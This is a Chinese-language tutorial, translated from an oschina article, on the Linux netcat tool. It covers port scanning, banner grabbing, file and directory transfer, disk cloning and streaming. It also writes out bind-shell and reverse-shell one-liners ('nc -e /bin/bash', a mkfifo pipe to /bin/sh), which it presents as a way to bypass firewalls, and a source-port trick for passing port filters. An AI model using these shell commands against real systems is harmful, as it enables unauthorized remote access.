天天看點

Linux Netcat 指令——網絡工具中的瑞士軍刀

原文:http://www.oschina.net/translate/linux-netcat-command

netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫資料。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。使用netcat指令所能完成的事情令人驚訝。

netcat所做的就是在兩台電腦之間建立連結并傳回兩個資料流,在這之後所能做的事就看你的想像力了。你能建立一個伺服器,傳輸檔案,與朋友聊天,傳輸流媒體或者用它作為其它協定的獨立用戶端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

Linux netcat 指令執行個體:

1,端口掃描

端口掃描經常被系統管理者和黑客用來發現在一些機器上開放的端口,幫助他們識别系統中的漏洞。
$nc -z -v -n 172.31.100.7 21-25      

可以運作在TCP或者UDP模式,預設是TCP,-u參數調整為udp.

z 參數告訴netcat使用0 IO,連接配接成功後立即關閉連接配接, 不進行資料交換(謝謝@jxing 指點)

v 參數指使用備援選項(譯者注:即詳細輸出)

n 參數告訴netcat 不要使用DNS反向查詢IP位址的域名

這個指令會列印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接配接的服務發送給你的文本資訊。當你試圖鑒别漏洞或者服務的類型和版本的時候,Banner資訊是非常有用的。但是,并不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以容易的使用netcat 連接配接服務抓取他們的banner。

$ nc -v 172.31.100.7 21      
netcat 指令會連接配接開放端口21并且列印運作在這個端口上服務的banner資訊。

2. Chat Server

假如你想和你的朋友聊聊,有很多的軟體和資訊服務可以供你使用。但是,如果你沒有這麼奢侈的配置,比如你在計算機實驗室,所有的對外的連接配接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你隻需要建立一個Chat伺服器,一個預先确定好的端口,這樣子他就可以聯系到你了。

Server

$nc -l 1567      

netcat 指令在1567端口啟動了一個tcp 伺服器,所有的标準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

Client

$nc 172.31.100.7 1567      
不管你在機器B上鍵入什麼都會出現在機器A上。

3,檔案傳輸

大部分時間中,我們都在試圖通過網絡或者其他工具傳輸檔案。有很多種方法,比如FTP,SCP,SMB等等,但是當你隻是需要臨時或者一次傳輸檔案,真的值得浪費時間來安裝配置一個軟體到你的機器上嘛。假設,你想要傳一個檔案file.txt 從A 到B。A或者B都可以作為伺服器或者用戶端,以下,讓A作為伺服器,B為用戶端。
$nc -l 1567 < file.txt      
$nc -n 172.31.100.7 1567 > file.txt      

這裡我們建立了一個伺服器在A上并且重定向netcat的輸入為檔案file.txt,那麼當任何成功連接配接到該端口,netcat會發送file的檔案内容。

在用戶端我們重定向輸出到file.txt,當B連接配接到A,A發送檔案内容,B儲存檔案内容到file.txt.

沒有必要建立檔案源作為Server,我們也可以相反的方法使用。像下面的我們發送檔案從B到A,但是伺服器建立在A上,這次我們僅需要重定向netcat的輸出并且重定向B的輸入檔案。

B作為Server

$nc -l 1567 > file.txt      
nc 172.31.100.23 1567 < file.txt      

4,目錄傳輸

發送一個檔案很簡單,但是如果我們想要發送多個檔案,或者整個目錄,一樣很簡單,隻需要使用壓縮工具tar,壓縮後發送壓縮包。

如果你想要通過網絡傳輸一個目錄從A到B。

$tar -cvf – dir_name | nc -l 1567      
$nc -n 172.31.100.7 1567 | tar -xvf -      

這裡在A伺服器上,我們建立一個tar歸檔包并且通過-在控制台重定向它,然後使用管道,重定向給netcat,netcat可以通過網絡發送它。

在用戶端我們下載下傳該壓縮包通過netcat 管道然後打開檔案。

如果想要節省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。

$tar -cvf – dir_name| bzip2 -z | nc -l 1567      
通過bzip2壓縮
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -      
使用bzip2解壓

5. 加密你通過網絡發送的資料

如果你擔心你在網絡上發送資料的安全,你可以在發送你的資料之前用如mcrypt的工具加密。

服務端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt      

使用mcrypt工具加密資料。

用戶端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567      

使用mcrypt工具解密資料。

以上兩個指令會提示需要密碼,確定兩端使用相同的密碼。

這裡我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6. 流視訊

雖然不是生成流視訊的最好方法,但如果伺服器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。
$cat video.avi | nc -l 1567      
這裡我們隻是從一個視訊檔案中讀入并重定向輸出到netcat用戶端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -      
這裡我們從socket中讀入資料并重定向到mplayer。

7,克隆一個裝置

如果你已經安裝配置一台Linux機器并且需要重複同樣的操作對其他的機器,而你不想在重複配置一遍。不在需要重複配置安裝的過程,隻啟動另一台機器的一些引導可以随身碟和克隆你的機器。

克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上

$dd if=/dev/sda | nc -l 1567      
$nc -n 172.31.100.7 1567 | dd of=/dev/sda      
dd是一個從磁盤讀取原始資料的工具,我通過netcat伺服器重定向它的輸出流到其他機器并且寫入到磁盤中,它會随着分區表拷貝所有的資訊。但是如果我們已經做過分區并且隻需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。

8,打開一個shell

我們已經用過遠端shell-使用telnet和ssh,但是如果這兩個指令沒有安裝并且我們沒有權限安裝他們,我們也可以使用netcat建立遠端shell。

假設你的netcat支援 -c -e 參數(預設 netcat)

$nc -l 1567 -e /bin/bash -i      
$nc 172.31.100.7 1567      

這裡我們已經建立了一個netcat伺服器并且表示當它連接配接成功時執行/bin/bash

假如netcat 不支援-c 或者 -e 參數(openbsd netcat),我們仍然能夠建立遠端shell

$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo      

這裡我們建立了一個fifo檔案,然後使用管道指令把這個fifo檔案内容定向到shell 2>&1中。是用來重定向标準錯誤輸出和标準輸出,然後管道到netcat 運作的端口1567上。至此,我們已經把netcat的輸出重定向到fifo檔案中。

說明:

從網絡收到的輸入寫到fifo檔案中

cat 指令讀取fifo檔案并且其内容發送給sh指令

sh指令程序受到輸入并把它寫回到netcat。

netcat 通過網絡發送輸出到client

至于為什麼會成功是因為管道使指令平行執行,fifo檔案用來替代正常檔案,因為fifo使讀取等待而如果是一個普通檔案,cat指令會盡快結束并開始讀取空檔案。

在用戶端僅僅簡單連接配接到伺服器

$nc -n 172.31.100.7 1567      
你會得到一個shell提示符在用戶端

反向shell

反向shell是指在用戶端打開的shell。反向shell這樣命名是因為不同于其他配置,這裡伺服器使用的是由客戶提供的服務。
$nc -l 1567      
在用戶端,簡單地告訴netcat在連接配接完成後,執行shell。
$nc 172.31.100.7 1567 -e /bin/bash      

現在,什麼是反向shell的特别之處呢 

反向shell經常被用來繞過防火牆的限制,如阻止入站連接配接。例如,我有一個專用IP位址為172.31.100.7,我使用代理伺服器連接配接到外部網絡。如果我想從網絡外部通路 這台機器如1.2.3.4的shell,那麼我會用反向外殼用于這一目的。 

10. 指定源端口

假設你的防火牆過濾除25端口外其它所有端口,你需要使用-p選項指定源端口。

伺服器端

$nc -l 1567      
$nc 172.31.100.7 1567 -p 25      

使用1024以内的端口需要root權限。

該指令将在用戶端開啟25端口用于通訊,否則将使用随機端口。

11. 指定源位址

假設你的機器有多個位址,希望明确指定使用哪個位址用于外部資料通訊。我們可以在netcat中使用-s選項指定ip位址。
$nc -u -l 1567 < file.txt      
$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt      

該指令将綁定位址172.31.100.5。

這僅僅是使用netcat的一些示例。

其它用途有:

  •     使用-t選項模拟Telnet用戶端,
  •     HTTP用戶端用于下載下傳檔案,
  •     連接配接到郵件伺服器,使用SMTP協定檢查郵件,
  •     使用ffmpeg截取螢幕并通過流式傳輸分享,等等。其它更多用途。

簡單來說,隻要你了解協定就可以使用netcat作為網絡通訊媒介,實作各種用戶端。

參考文檔